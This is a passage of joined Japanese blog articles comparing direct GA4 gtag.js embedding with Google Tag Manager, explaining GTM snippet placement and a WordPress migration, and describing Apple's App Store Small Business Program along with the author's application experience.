[GA4直接埋め込み vs GTM経由｜メリット・デメリット比較と判断基準](https://codequest.work/ga4-direct-vs-gtm-comparison/) GA4 を直接埋め込む方式と、GTM（Google Tag Manager）経由で計測する方式は、最終的に GA4 にデータが届く点は同じですが、運用面・拡張性・パフォーマンス特性が大きく異なります。タグが GA4 1 つだけならどちらでも問題ありませんが、複数の解析・広告タグを運用するなら GTM 経由のほうが管理負担が小さく、Google 公式も大規模運用では GTM を推奨しています。 この記事では、GA4 直接埋め込みと GTM 経由の 2 方式を、導入コスト・運用負荷・パフォーマンスの観点で比較します。それぞれが向いているケースと、移行判断のフレームワークも整理します。実装手順を知りたい場合は WordPress で GA4 を GTM 経由に移行する方法 を、設置位置の最適化は GTM タグを head 上部に設置するべき理由 をあわせて参照してください。 2 方式の仕組みを整理する 違いを理解する前に、それぞれの方式でブラウザに何が読み込まれているかを整理します。データ送信経路の違いがメリット・デメリットの根拠になります。 GA4 直接埋め込み（gtag.js 方式） サイトの <head> に Google が配布する gtag.js（googletagmanager.com/gtag/js）を直接読み込み、ページ内で gtag('config', 'G-XXXXXXX') を呼び出して GA4 プロパティに紐付けます。GA4 が単体で完結し、シンプルな構成です。 イベント計測やカスタムディメンション送信も gtag('event', ...) のかたちでソースコード内に書きます。設計はサーバーサイド開発のロジックに近く、コードレビューでイベントの仕様を把握できる利点があります。 GTM 経由（コンテナタグ方式） サイトには GTM コンテナタグ（GTM-XXXXXXX）だけを設置し、GA4 設定・イベント・コンバージョン計測は GTM 管理画面で「タグ・トリガー・変数」として組み立てます。サイトのコードを変えずに、GTM の管理画面側でタグの追加・修正・停止が完結します。 GA4 以外にも Google 広告コンバージョンタグ・Microsoft Clarity・Meta 広告ピクセル・LinkedIn Insight Tag など、複数のサードパーティタグを 1 つのコンテナで管理できる点が大きな特徴です。 GA4 直接埋め込み vs GTM 経由 — 比較表 主要な評価軸ごとに 2 方式を比較します。判断材料として最も使う表なので、必要な行だけ拾って参照してください。 評価軸 GA4 直接埋め込み GTM 経由 導入コスト 低（スニペットを 1 か所貼るだけ） 中（コンテナ作成 + GA4 設定タグ作成が必要） 運用負荷（タグ追加・修正） 高（コード変更 → デプロイ） 低（GTM 管理画面で完結） 複数タグ管理 苦手（タグごとに個別実装） 得意（1 コンテナで一元管理） パフォーマンス 軽量（gtag.js + 初期化のみ） 軽量〜中（GTM 内のタグ数次第） 同意モード対応 可（ただし自前実装が必要） 容易（GTM 内で Consent Mode 設定） デバッグのしやすさ 低（DevTools とリアルタイム頼み） 高（Tag Assistant プレビュー） 非エンジニアの運用 不可（コード編集が必要） 可（権限を渡せば管理画面で操作） Google 公式推奨 単一タグ・小規模サイト向け 複数タグ・規模が大きいサイト向け 表からわかる通り、GTM 経由は「タグ数が増えてからのほうが」恩恵が大きい構成です。GA4 だけを単独で運用するサイトなら、必ずしも GTM 経由にする必要はありません。 GA4 直接埋め込みが向いているケース GTM が万能というわけではなく、構成によっては直接埋め込みのほうがメリットが大きい場面があります。代表的な 3 パターンを挙げます。 1. GA4 単体しか使わない小規模サイト 個人ブログや LP のように「GA4 でアクセス数だけ見たい」という用途では、GTM の管理画面を別途運用するコストが上回ります。スニペットを 1 か所貼って終わる直接埋め込みのほうがシンプルで、保守・引き継ぎも容易です。 2. イベント仕様をコードでバージョン管理したい アプリケーション側のロジックとイベント計測が密接に連動するプロダクト（SaaS のオンボーディング計測、フォームの段階離脱計測など）では、イベント仕様を Git 管理下に置けたほうが安全です。GTM だと「タグの履歴」は GTM 内のバージョンに残りますが、コードレビューや PR の差分には現れません。エンジニアチームでオーナーシップを持つなら直接埋め込みも有力候補です。 3. GTM の外部スクリプト読み込みを避けたい CSP（Content Security Policy）を厳しく運用していたり、サードパーティスクリプトを最小化したい医療・金融系サイトでは、GTM 経由で読み込まれるスクリプトの予測が難しくなる懸念があります。許可ドメインを最小限に絞る場合は、GA4 1 本のみを直接埋め込む構成のほうがガバナンスを効かせやすいです。 GTM 経由が向いているケース 逆に、次のいずれかに当てはまるなら GTM 経由のほうが運用負担を抑えられます。 1. GA4 以外のタグを複数運用している Google 広告コンバージョンタグ、Microsoft Clarity、Meta ピクセル、LinkedIn Insight、アフィリエイト計測タグなどが 3 つ以上ある場合、サイトコードの中に散在させると保守が破綻します。GTM コンテナで一元管理することで、発火条件・除外条件をブラウザに反映するためのデプロイが不要になります。 2. マーケ担当・運用代理店にタグ運用を任せたい イベント計測・コンバージョン計測の追加を、エンジニアの工数を介さずにマーケ担当に任せたいなら GTM 経由一択です。GTM ユーザー権限を発行すれば、コードに触らせずにタグ運用を委譲できます。広告代理店との連携でも GTM ユーザー追加が標準的なワークフローです。 3. Consent Mode v2 を本格運用する Google の同意モード v2 は GTM テンプレートに対応 CMP（同意管理プラットフォーム）が多数揃っており、GTM 経由のほうが導入工数が圧倒的に少なく済みます。GA4 直接埋め込みで同意モードを実装しようとすると、デフォルト同意設定・更新タイミング・データ漏れの検証を自前で組み立てる必要があり、ハードルが高くなります。 どちらを選ぶかの判断フレームワーク 判断に迷う場合、次の質問に順番に答えると整理しやすくなります。 外部タグは GA4 を含めて何個ありますか？ — 1 個なら直接埋め込み、3 個以上なら GTM 経由を推奨 イベント追加を非エンジニアに依頼する予定はありますか？ — Yes なら GTM 経由 Consent Mode v2 を導入する予定はありますか？ — Yes なら GTM 経由 イベント仕様をリポジトリで管理する強い要件はありますか？ — Yes なら直接埋め込み（または GTM + コードレビュー併用） サードパーティスクリプトを最小化する CSP 要件はありますか？ — Yes なら直接埋め込み 「タグ数が増えていく見込みがあれば GTM 経由」「単発・固定運用なら直接埋め込み」と覚えておくと判断がぶれません。 パフォーマンスはどちらが軽いのか 「GTM を入れるとサイトが重くなる」というイメージが先行しがちですが、実態は配置位置と GTM 内のタグ数に依存します。 スニペット単体のサイズ感 GA4 直接埋め込み: gtag.js 本体（数十 KB）＋初期化スクリプト数行 GTM 経由: GTM コンテナタグ（数 KB）＋ GTM 内の各タグが個別に発火 GA4 のみを単体運用するなら、ネットワーク的にはほぼ差はありません。GA4 + 広告タグ + Clarity といった構成では、GTM 経由のほうが「親スクリプトが 1 本になる」ぶん、HTTP リクエスト数を整理しやすいケースもあります。 なお、どちらの経路を選んでも、届いたあとに見る指標の定義はGA4で変わっています。Webマーケティング用語の公式定義で、直帰率や離脱率が現在どう扱われているかを確認できます。 Core Web Vitals への影響 LCP・FCP には、GA4 直接埋め込み・GTM 経由のいずれも非同期読み込みであるため大きな差は出ません。差が出るのは TBT・INP の領域で、GTM 内に重いタグを多数仕込んだ場合に悪化します。逆に言えば「タグ管理がきれいな GTM」のほうが、コードに散在する GA4 直接実装より TBT を抑えやすいケースもあります。詳しくはGTM タグを head 上部に設置するべき理由とパフォーマンス影響を参照してください。 移行コストと推奨タイミング 「GA4 直接埋め込み → GTM 経由」への移行は、サイト規模にもよりますが半日〜1 営業日程度の作業量で完了します。タイミングとしては次のような場面が移行しやすい節目です。 Google 広告のコンバージョン計測を新規導入するとき 同意モード v2 を導入する必要に迫られたとき テーマやサイトリニューアルを実施するとき マーケ担当を新規採用し、タグ運用を委譲するとき 手順は WordPress で GA4 を GTM 経由に移行する方法 に 5 ステップでまとめています。WordPress 以外のサイトでも、テーマ・テンプレートエンジン側で「gtag.js を停止」「GTM コンテナを設置」する流れは同じです。 よくある質問（FAQ） Q. GA4 と GTM はどちらか一方だけ使えばよいですか？ GA4 は計測プロパティ、GTM はタグ管理プラットフォームで、役割が異なります。GA4 を使う以上 GA4 プロパティは必須で、GTM はその「設置方法」の選択肢です。GA4 だけ単体で運用することは可能ですが、GTM だけで GA4 を完全に置き換えることはできません。 Q. 直接埋め込みと GTM 経由を併用するとどうなりますか？ 同じ GA4 プロパティに対して両方の経路を有効にすると、ページビューが二重計上されます。GA4 のセッション数・PV が実態の倍前後になるため、必ずどちらか一方に統一してください。テスト目的で並走させる場合は、片方を「テスト用 GA4 プロパティ（別 ID）」に向ける運用が安全です。 Q. GTM 経由にすると計測精度は下がりますか？ GTM 経由でも GA4 直接埋め込みでも、GA4 に届くデータの精度は同等です。GTM が「中継役」として dataLayer をハンドリングするだけで、データの送信先は同じ GA4 です。むしろ広告ブロッカーの一部は「googletagmanager.com」よりも「google-analytics.com」のほうを優先的にブロックする傾向があり、計測精度の観点で大きな差は出にくいのが現状です。 Q. GTM 経由にすると Looker Studio や BigQuery 連携は変わりますか？ 変わりません。GTM はあくまで GA4 にデータを送るための「経路」なので、GA4 プロパティに届いた後の Looker Studio 連携・BigQuery エクスポート・API 経由のレポーティングは完全に同じです。GA4 のデータスキーマも維持されます。 なお、GA4 のデータだけで完結する軽い可視化であれば、Looker Studio を使わずにレポート画面の「＋作成」からダッシュボードを組んで GA4 内で済ませることもできます。 ### [GTMタグをhead上部に設置するべき理由とパフォーマンス影響](https://codequest.work/gtm-head-position-performance/) Google Tag Manager（GTM）のコンテナタグは、<head> 要素の中の、できるだけ上部に設置するのが正解です。Google 公式ドキュメントが「<head> 内のなるべく上の位置」と明示しており、dataLayer の早期初期化や同意モードの動作要件を満たすためにも、この配置が前提となります。 この記事では、なぜ <head> 上部設置が推奨されるのか、他の位置に置いたときに何が起きるのか、そしてページ速度や Core Web Vitals への影響を分解して整理します。WordPress での実装ポイントと、当サイトで実際に位置を最適化したときの落とし穴も併せて解説します。 GTM を head 上部に置くべき 3 つの理由 「なんとなく head 内に入れておけば動く」と思われがちですが、設置位置が違うと取りこぼしや誤計測が発生します。<head> 上部に置くべき理由は次の 3 点です。 1. Google 公式が「head 内の可能な限り上部」と明言している Google Tag Manager のヘルプセンター（Install Google Tag Manager）には、コンテナスニペットの設置場所として「Place the first part of the code as high in the <head> of the page as possible（コードの 1 つ目の部分はページの <head> 内のできるだけ上に配置する）」と明記されています。Google が公式に推奨している唯一の配置位置はこの 1 つです。 SEO・解析タグの設置で迷ったとき、公式ドキュメントの推奨を外す合理的な理由はほぼありません。GA4 を GTM 経由に移行する場合も、この位置が出発点になります。 2. dataLayer を早期初期化してタグの取りこぼしを防ぐ GTM の中核は window.dataLayer という配列です。各種タグ（GA4 イベント、コンバージョン計測など）は、この dataLayer に push されたデータを受け取って発火します。GTM スニペットが読み込まれる前に dataLayer に push が走ると、その値は通常記録されません。 例えばページ内に「ユーザー属性をサーバーサイドレンダリング時に dataLayer へ書き出す」コードが含まれている場合、GTM が後ろにあるとその値を拾えません。<head> 上部に置けば、他のスクリプトが動き出す前に dataLayer の受け皿が用意されるため、取りこぼしが防げます。 3. 同意モード（Consent Mode v2）の前提を満たす Google の同意モード v2（Consent Mode v2）は、Cookie 同意の状態を GTM 経由で広告・解析タグに伝える仕組みです。同意モードの仕様では「ページ読み込みのできるだけ早い段階」でデフォルト同意状態を宣言することが求められます。GTM 自体が <head> 上部にないと、同意宣言が遅れ、Google 広告のスマートビッディングなどに使われる「Consent Mode シグナル」が欠損します。 設置位置 3 パターンの違い GTM コンテナタグは実装現場でしばしば次の 3 か所に置かれます。それぞれの違いを比較表にまとめます。 設置位置 発火タイミング 取りこぼしリスク 同意モード対応 公式推奨度 <head> 上部 最も早い 低い ○ ◎ 公式推奨 <head> 下部（</head>直前） やや遅れる 中（早期 push で取りこぼし） △（同意宣言が遅れる） △ 公式推奨外 <body> 直後 遅い 高い ×（同意宣言の機会を逸する） × 非推奨 なお Google が配布する 2 つ目のスニペット（<noscript> 部分）は別ルールで、こちらは <body> 直後に置くのが正解です。1 つ目（<script> 部分）と混同しないよう注意してください。 パフォーマンスへの影響を分解する 「GTM を head 上部に置くと重くならない？」という疑問はよく出ます。結論から言えば、GTM スニペット自体が原因で遅くなることはほとんどありません。速度劣化の原因は「GTM 内で発火するタグ数」です。 GTM スニペットは非同期読み込み Google が配布する GTM コンテナタグは、内部で script 要素を動的に挿入する形式で、デフォルトで非同期読み込みになっています。async 属性を後付けする必要はなく、レンダリングをブロックしません。そのため LCP（Largest Contentful Paint）や FCP（First Contentful Paint）に直接の悪影響を与えにくい設計です。 「重い」原因は GTM 内のタグ数と内容 ページ速度に影響するのは GTM そのものではなく、GTM 経由で読み込まれるタグの中身です。次のような構成では Total Blocking Time（TBT）や INP（Interaction to Next Paint）が悪化します。 設置位置を直したあとは、集めている指標の意味も確かめておくと安全です。Webマーケティング用語の公式定義で、GA4で意味が変わった指標と、公式には存在しない指標を確認できます。 広告タグを 5 種類以上同時に「All Pages」トリガーで発火させている 外部のチャットウィジェットを「Window Loaded」より前で読み込んでいる カスタム HTML タグで重い JavaScript を同期実行している 対策は「GTM 配置位置を変える」ことではなく、「重いタグのトリガーを Window Loaded やスクロールなど遅延発火に切り替える」ことです。ページ速度改善の方法 — Core Web Vitals を最適化すると組み合わせて運用するのが王道です。 preload や Critical CSS との順序 <head> 上部に GTM を置く際、注意したいのが画像やフォントの preload タグ・Critical CSS との順序です。基本的には「Critical CSS（インライン） → GTM → preload」または「Critical CSS → preload → GTM」のどちらでも体感差はほぼありません。Critical CSS は最優先で、GTM は CSS の手前か直後かでも LCP は通常変わりません。 ただし、Critical CSS をインラインで持たず <link rel="stylesheet"> で同期読み込みしている場合、GTM をその前に置くと CSS 取得が遅れることがあります。この場合は GTM を CSS link の直後に置くか、Critical CSS をインライン化する方を優先します。 WordPress での実装ポイント WordPress テーマで GTM を <head> 上部に設置する場合、テーマ自作か汎用テーマかで方法が変わります。それぞれのケースを整理します。 自作テーマ・子テーマで直接編集する場合 header.php の <head> 開始タグの直後（meta タグや viewport の宣言よりは後、wp_head() よりは前）に GTM スニペットを貼り付けます。重要なのは wp_head() より前に配置することです。wp_head() はプラグインや SEO 関連のスクリプトを出力するアクションフックなので、GTM が後ろにあると他プラグインのスクリプトが先に読み込まれ、せっかくの「<head> 上部」の効果が薄れます。 プラグイン経由で設置する場合 「GTM4WP」「Site Kit by Google」など、GTM 設置を担うプラグインを使う場合は、設置位置オプションを必ず確認します。プラグインによっては wp_head フックの末尾に出力する実装になっており、「head 内ではあるが上部ではない」状態になりがちです。GTM4WP では設定画面の「General」タブで wp_head の優先度を変更できます。 <noscript> タグは body 直後に GTM の 2 つ目のスニペット（<noscript> 部分）は <body> 開始タグの直後に配置します。WordPress では wp_body_open() アクションフックを使うのが標準です。1 つ目のスニペットを head 上部に置いただけで満足せず、必ず両方を設置してください。 設置時の落とし穴（実体験ベース） 当サイトでも GTM の設置位置を wp_head() の後ろから前へ移動するリファクタリングを行いました。その際に気付いた点を共有します。 なお、設置位置を動かしたあとは計測が止まっていないかを必ず確認します。開発者ツールのネットワークタブで collect へのリクエストを見る手順はGA4設置後の動作確認にまとめています。 既存の preload タグとの順序を整理する テーマで LCP 用にロゴやヒーロー画像の <link rel="preload"> を入れている場合、GTM をその前に置くか後に置くかで悩むかもしれません。実測した範囲では LCP への影響はほぼ誤差レベルです。判断基準は「Google 公式の <head> 上部推奨を優先」で、GTM を先に置き、preload はその後でかまいません。 SEO プラグインの head 出力との競合 All in One SEO や Yoast SEO のような SEO プラグインは、wp_head フック経由で title・description・OGP・JSON-LD を出力します。GTM を wp_head() より前に置けば、これらより先に GTM が読み込まれます。両者の順序を入れ替えても SEO スコアや構造化データの認識には影響しないため、GTM 上部配置を優先してください。 GTM Server-Side を使う場合の例外 GTM Server-Side（サーバーサイドコンテナ）を使っている場合、クライアント側のコンテナと並行運用するケースがあります。この場合もクライアント側 GTM の <head> 上部配置ルールは同じです。Server-Side コンテナのエンドポイント設定（カスタムドメイン）は別レイヤーの話なので、本記事の範囲では割愛します。 よくある質問（FAQ） Q. GTM を body 直後に置いている既存サイトは作り直すべきですか？ 計測の取りこぼしや同意モードの不全がない範囲で運用しているなら、緊急で作り直す必要はありません。ただし、Google 広告のスマートビッディングや Consent Mode v2 を活用する予定があるなら、<head> 上部への移動を優先的にスケジュールに入れることを推奨します。次回テーマ修正やリニューアル時に合わせると工数が抑えられます。 Q. GTM を head 上部に移動したらページが遅くなりました GTM スニペット自体は数 KB の非同期スクリプトなので、配置位置だけで体感差が出ることはほぼありません。原因は別の場所にあります。GTM 管理画面で発火しているタグを「ページビュー」「All Pages」「DOM Ready」ごとに分類し、Window Loaded やスクロールトリガーへ移動できるものを洗い出してください。 ### [WordPressでGA4をGTM経由に移行する方法](https://codequest.work/wordpress-ga4-to-gtm-migration/) WordPress の GA4 を GTM 経由に移行するとは、テーマやプラグインで直接 gtag.js を読み込むのをやめ、Google Tag Manager（GTM）のコンテナタグだけを設置して GA4 の計測設定を GTM 管理画面側で行う構成に切り替える作業のことです。タグ追加や修正のたびに PHP を編集する必要がなくなり、AdSense・Clarity・広告タグの管理も 1 箇所に集約できます。 この記事では、すでに GA4（gtag.js）を直接埋め込んで運用しているサイトを GTM 経由構成に切り替える手順と、移行時に見落としやすいポイントを解説します。当サイト（CodeQuest）も同じ構成で運用しており、実際に切り替えた際の経験を踏まえて執筆しています。 GA4 を GTM 経由に移行するメリット GA4 を直接埋め込む方式から GTM 経由に切り替えるメリットは大きく 3 つあります。それぞれ運用負担と計測の柔軟性の両方に効いてきます。 1. タグの追加・修正で PHP を触らなくて済む イベントトラッキング・コンバージョン計測・カスタムディメンションを追加するたびにテーマファイルを編集していると、ちょっとした調整でも本番デプロイが必要になります。GTM 経由なら GTM 管理画面で完結し、コードのレビュー・デプロイ・キャッシュ更新といった一連の作業をスキップできます。 2. 広告・解析タグの管理を 1 箇所に集約できる WordPress サイトでは、GA4 のほかに Microsoft Clarity・Google AdSense・アフィリエイト計測タグなど、複数の外部タグを扱うのが一般的です。GTM 経由構成にすると、すべてのタグの発火タイミング・ページ条件・除外設定を 1 つのコンテナで管理できます。タグ間の競合や読み込み順の問題もデバッグしやすくなります。 3. プレビュー＆デバッグが GTM 内で完結する GTM の「プレビューモード（Tag Assistant）」を使うと、本番にデプロイする前に各タグが想定通り発火するかをブラウザ上で確認できます。GA4 のリアルタイムレポートだけに頼っていた頃と比べ、設定ミスの検知が圧倒的に早くなります。 移行前後の構成を整理する 具体的な手順に入る前に、移行前と移行後でブラウザに何が読み込まれるかを整理しておきます。構成図として頭に入れておくと、手順の意味が理解しやすくなります。 移行前（GA4 を直接埋め込む構成） テーマ（functions.php / header.php など）から gtag.js を読み込む GA4 の測定 ID をテーマ側で保持し、初期化スクリプトをインライン出力する イベント計測やオプトアウト処理もテーマ側のコードで実装する 移行後（GTM 経由構成） テーマからは GTM のコンテナタグ（GTM-XXXXXXX）だけを読み込む GA4 設定・イベント・コンバージョンは GTM 管理画面でタグとして登録する テーマからは gtag.js の直接読み込みと GA4 関連コードをすべて削除する ポイントは「GA4 を直接読み込む処理をテーマから完全に消す」ことです。両方残すと二重計測になり、GA4 のセッション数・PV が実態の倍前後になることがあります。 GA4 から GTM 経由への移行手順 5 ステップ 実際の移行作業は次の 5 ステップで進めます。順番を守ることで「二重計測」「計測停止」のリスクを避けられます。 STEP 1. GTM コンテナを作成して ID を取得する Google Tag Manager（tagmanager.google.com）にアクセスし、サイト用のコンテナを新規作成します。プラットフォームは「ウェブ」を選択し、発行されるコンテナ ID（GTM-XXXXXXX 形式）をメモしておきます。 STEP 2. GTM 内で GA4 設定タグを作成する GTM の管理画面で「タグ ＞ 新規」から「Google アナリティクス：GA4 設定」タグを作成します。GA4 プロパティの測定 ID（G-XXXXXXX 形式）を入力し、トリガーは「All Pages」を選択します。これでサイト全ページで GA4 がページビューを記録するようになります。 この時点では公開せず、ワークスペースに保存した状態のままにします。テーマ側のコード変更と公開タイミングを揃えるためです。 STEP 3. テーマから gtag.js の読み込みを停止する テーマの functions.php・header.php・プラグイン設定などに記述されている、GA4 の直接読み込みコードをすべて停止します。具体的には次のような要素が対象です。 https://www.googletagmanager.com/gtag/js?id=G-XXXXXXX を読み込む <script> タグ gtag('config', 'G-XXXXXXX') を呼び出している初期化コード SEO プラグインや解析プラグインで設定している GA4 測定 ID（例: All in One SEO の Google Analytics 設定欄） このステップを忘れたまま次の STEP 4 に進むと、GA4 が「直接埋め込み」と「GTM 経由」の両方から発火し、PV が二重計上されてしまいます。コードからの削除とプラグイン設定の解除、両方を確認してください。 STEP 4. GTM コンテナタグを head 上部に設置する GTM 管理画面の「管理 ＞ Google タグ マネージャーをインストール」で表示されるスニペットを、サイトの <head> 内に貼り付けます。Google は「<head> 内の可能な限り上部」への設置を推奨しています。設置位置の理由とパフォーマンスへの影響については後述の関連記事で詳しく解説しています。 WordPress テーマで設置する場合は、header.php の <head> 開始タグ直後・wp_head() 呼び出しよりも前に配置するのが望ましいです。GTM スニペットは Google 公式が配布する標準形式で、自分で書き換える必要はありません。 あわせて <body> 直後に表示する <noscript> 用スニペットも忘れず設置します。JavaScript 無効環境でのフォールバック計測に使われます。 STEP 5. プレビュー＆リアルタイムレポートで疎通確認する 移行作業の最後は必ず疎通確認です。次の 2 段階で検証します。 GTM プレビューモードでサイトを開き、GA4 設定タグが「Tags Fired（発火済み）」に入っているか確認 GA4 のリアルタイムレポートで自分のアクセスがカウントされ、かつ二重計上されていない（PV が 1 ページ表示につき 1 件で増える）ことを確認 両方確認できたら、GTM 管理画面の「公開」ボタンでバージョンを公開して移行完了です。 実装時の落とし穴（実体験ベース） 当サイトでも同じ移行を行いましたが、移行後しばらく気付かなかった点や、事前にチェックしておきたかったポイントがいくつかあります。同じ罠を避けるために共有しておきます。 ハードコードされた GA4 測定 ID の管理場所が変わる 移行前のテーマでは GA4 測定 ID を定数や設定ファイルで保持しているケースが多いはずです。GTM 経由に切り替えた後、その定数を残したままにすると「使われていないコードが残り続ける」状態になります。移行と同時に削除してリポジトリをクリーンに保つのが安全です。 async 属性付与などの周辺処理も不要になる gtag.js の読み込みをパフォーマンス目的で async / defer 付与していた場合、その付与処理（WordPress なら script_loader_tag フィルター等）も連動して不要になります。GTM スニペット自体は内部で非同期読み込みを行うため、改めて async を付ける必要はありません。残しておくと「実体のないハンドル名を参照する古い処理」になるので、こちらも合わせて整理します。 オプトアウト機構は GTM 側で再設計する テーマ側で window['ga-disable-G-XXXXXXX'] を切り替えるようなオプトアウト処理を組んでいた場合、GTM 経由構成では別アプローチが必要になります。具体的には GTM 内で「同意モード（Consent Mode）」を使うか、特定の dataLayer 変数や localStorage 値をトリガー除外条件として GA4 設定タグに紐付ける形に書き換えます。日本国内向けサイトでも、Cookie 同意バナーを設置しているケースでは要件として残るため、移行のついでに見直すと良いタイミングです。 よくある質問（FAQ） Q. GTM と GA4 はどちらを先に導入すべきですか？ GA4 プロパティが先で、GTM コンテナはその後で問題ありません。GTM 内で GA4 設定タグを作る際に「測定 ID（G-XXXXXXX）」を入力する必要があるため、先に GA4 プロパティを作成し測定 ID を発行しておくと、GTM 設定がスムーズに進みます。 Q. GA4 の直接タグと GTM を両方入れたら二重計測になりますか？ はい、二重計測になります。GA4 の測定 ID が「直接 gtag.js から」と「GTM 内の GA4 設定タグから」の 2 ルートで発火するため、ページビューが 2 倍前後にカウントされます。GTM 経由に移行する際は、必ずテーマや SEO プラグイン側の GA4 直接埋め込みを停止してください。 Q. GTM 経由にするとページ速度は遅くなりますか？ GTM スニペット自体は数 KB 程度で、非同期読み込みのためレンダリングをブロックしません。実際の速度影響は GTM 内で発火させるタグ数と内容次第です。GA4 単体だけなら直接埋め込みと差はほぼなく、複数タグを管理するなら GTM 経由のほうがコード量が抑えられる傾向にあります。設置位置の最適化についてはGTM タグを head 上部に設置するべき理由を参照してください。 Q. オプトアウト（計測拒否）はどう実装すればよいですか？ GTM 経由構成では、Google 公式の「同意モード（Consent Mode v2）」を使うのが標準です。同意モードに切り替えずに済ませたい場合は、Cookie 同意バナーなどから dataLayer に変数を push し、GA4 設定タグのトリガーに「変数が true のときは発火しない」という除外条件を加える方法もあります。 Q. WordPress プラグインで GTM を入れるのと手動設置はどちらがよいですか？ テーマを自分で編集できる場合は手動設置を推奨します。プラグイン経由だと GTM スニペットの設置位置が固定され、推奨される「<head> 内の上部」へ正確に配置できないケースがあるためです。テーマを編集できない・触りたくない場合は「GTM4WP」など信頼できるプラグインを選び、設置位置の設定オプションを確認してから導入してください。 まとめ GA4 を直接埋め込みから GTM 経由構成へ切り替える要点を整理します。 ### [Apple Small Business Programとは｜申請方法と手数料15%の仕組み【個人開発者の承認体験】](https://codequest.work/apple-small-business-program/) App Store Small Business Programとは、年間売上100万米ドル以下のApp Storeデベロッパを対象に、手数料を通常の30%から15%に減免するApple公式のプログラムです。 2021年1月に開始された本制度は、個人開発者やスモールビジネスにとって、App Storeでの収益を実質的に2倍近く改善する大きな仕組みです。本記事ではApple公式情報をもとに、対象条件・申請手順・承認後の動きを整理し、最後に筆者が運営するiOSアプリ「痛風管理」で実際に申請・承認された一連の体験談を公開します。 App Store Small Business Programとは App Store Small Business Program（以下、SBP）は、AppleがApp Storeでアプリを販売する小規模デベロッパ向けに2021年1月から提供している公式プログラムです。対象となるデベロッパは、有料アプリの販売価格・アプリ内課金（サブスクリプションを含む）の収益に対して、通常30%のApp Store手数料が15%へ引き下げられます。 対象になるのは、Apple公式の表現を借りれば「前暦年の全アプリの合計収益額が100万米ドル以内の既存デベロッパ」と「App Storeの新規デベロッパ」の2種類。Appleの手数料および特定の税額・調整額を除いた純売上額で判定されるため、表示価格ではなく実際の入金ベースで考えるのがポイントです。 手数料はいくら下がるのか SBPの最大のメリットは、デベロッパの取り分（純売上）が大きく増えることです。通常の30%手数料とSBPの15%手数料では、同じ売上でも開発者の手元に残る金額が約1.21倍違います。 手数料が下がっても、値引きを求められる状況そのものは残ります。値引きなしで通らないときに商品と価格のどこを決め直すかは、値引きしないと通らない時の判定にまとめています。 手数料率の比較 区分手数料率デベロッパ取り分通常デベロッパ30%70%Small Business Program参加者15%85% 年間売上別シミュレーション 年間の総売上額ごとに、通常デベロッパとSBP参加者で手元に残る金額の差をまとめました（為替の影響は無視した参考値）。 年間売上通常(70%)SBP(85%)差額10万円7万円8.5万円+1.5万円100万円70万円85万円+15万円500万円350万円425万円+75万円1,000万円700万円850万円+150万円5,000万円3,500万円4,250万円+750万円 個人開発者の現実的なレンジ（年間売上数十万円〜数百万円）でも、年間で数万円〜数十万円の差になります。広告費や端末更新費に回せると考えれば、この15%の差は無視できません。 「固定費と手数料率を実効コスト率に畳んでから損得を判断する」という見方は、アプリ以外の販売にもそのまま使えます。ネットショップのカートを選ぶときも同じ計算になるので、月商から損益分岐点を出してカートを選ぶ手順もあわせて参考にしてください。 対象条件（適格要件） SBPの参加資格は2パターンあります。Apple Developer公式の規定をかみ砕いて整理すると次のとおりです。 既存デベロッパ：前暦年の全アプリの合計収益額が100万米ドル以内であること 新規デベロッパ：App Storeで初めてアプリを公開するデベロッパは、自動的に対象 判定に使われるのは純売上額で、Appleの手数料・特定の税額・調整額を除いた金額です。表示価格ではなく、実際にデベロッパが受け取った金額の合計で判定される点に注意してください。 関連法人がある場合の合算ルール 複数のApple Developer Programアカウントを持っている、あるいは別法人と密接な関係にあるデベロッパは、関連アカウントの収益も合算して判定されます。具体的には次のいずれかに当てはまる場合です。 別のApple Developer Programアカウントの所有権または株式において50%以上を保有している 別のApple Developer Programメンバーが、自分のアカウントの所有権または株式において50%以上を保有している 別のApple Developer Programアカウントに対する最終決定権を有している 別のApple Developer Programメンバーが、自分のアカウントに対する最終決定権を有している 個人開発者で別のアカウントに関与していなければ気にする必要はありませんが、法人化済みの開発者や複数アカウントを運用している方は、この条件を必ず確認してください。 申請手順 SBPの申請プロセスはシンプルで、Apple Developer・App Store Connectのアカウントが整っていれば10分程度で完了します。Apple公式が案内している正式な手順は以下の3ステップです。 Apple Developer Programで「Account Holder（アカウントホルダー）」になる。チームメンバーやAdmin権限では申請できません。個人デベロッパであれば自動的にAccount Holderです App Store Connectで最新の「有料アプリ契約」（Apple Developer Program使用許諾契約の添付資料2）の内容を確認し、同意する。Agreements, Tax, and Bankingセクションから契約の最新版を確認できます 関連するデベロッパアカウントをすべて提示。前述の合算ルールに該当するアカウントがある場合は、申請時に正直に申告する必要があります。該当するものがなければ「なし」で問題ありません 申請フォーム自体は英語表記ですが、項目数は多くなく、開発者本人と代表者が一致している個人開発者であれば迷う部分はほぼありません。「氏名」「Developer Programの登録名と一致するか」「関連アカウントの有無」など、事実確認の延長線上にある質問が中心です。 【体験談】痛風管理アプリで申請してみた ここからは、筆者が運営しているiOSアプリ 「痛風管理」 で実際にSBPに申請し、無事に承認されるまでの一連の流れを共有します。同じくこれから申請する個人開発者の参考になれば幸いです。 きっかけは「買い切りの有料機能を本気で考え始めたこと」 痛風管理は当初、痛風患者である自分自身の課題を解決するために開発した無料アプリでした。プリン体の自動計算、水分摂取記録、発作カレンダーなど、紙の手帳では続かなかった管理を「数タップで完了する形」に整えるのが目的です。 リリース後、SNSや病院の待合室で同じような悩みを持つ人と話す機会が増え、「もう少し高機能な分析や、医師と共有できる長期記録があったら便利」という声を何度か聞きました。そのフィードバックを受けて、将来的にプレミアム機能（買い切りのアプリ内課金）を追加する計画が動き出します。 そこで真っ先に直面したのが「App Storeの手数料30%」という現実です。仮に500円の買い切り機能を100人に販売しても、Appleに150円持っていかれ、開発者の手元には350円しか残らない。個人で運営する身としては、この15%の差は新機能の開発時間そのものに直結します。「SBPに申請して15%にする」が、有料機能を出す前の最優先タスクになりました。 申請フォームで迷った2つの項目 申請自体は事前に準備していたAccount Holder権限・契約同意・関連アカウント情報を埋めるだけのシンプルな構成で、ほぼ迷うところはありません。ただし「これは英語表記でどう書くんだろう？」と少しだけ手が止まった項目が2つありました。 1つ目は「Legal Name（法的氏名）」。日本の個人デベロッパだと、Apple Developer登録時の氏名と銀行口座の名義、税情報の氏名が一致しているかをここで再確認することになります。私はもともとアルファベット表記で統一していたので問題なかったのですが、英字・漢字が混在している場合は事前にApple Developer・App Store Connect・Tax Formsの記載をすべて整えておくと安心です。 2つ目は関連デベロッパアカウントの申告欄。私は個人開発者で他のDeveloper 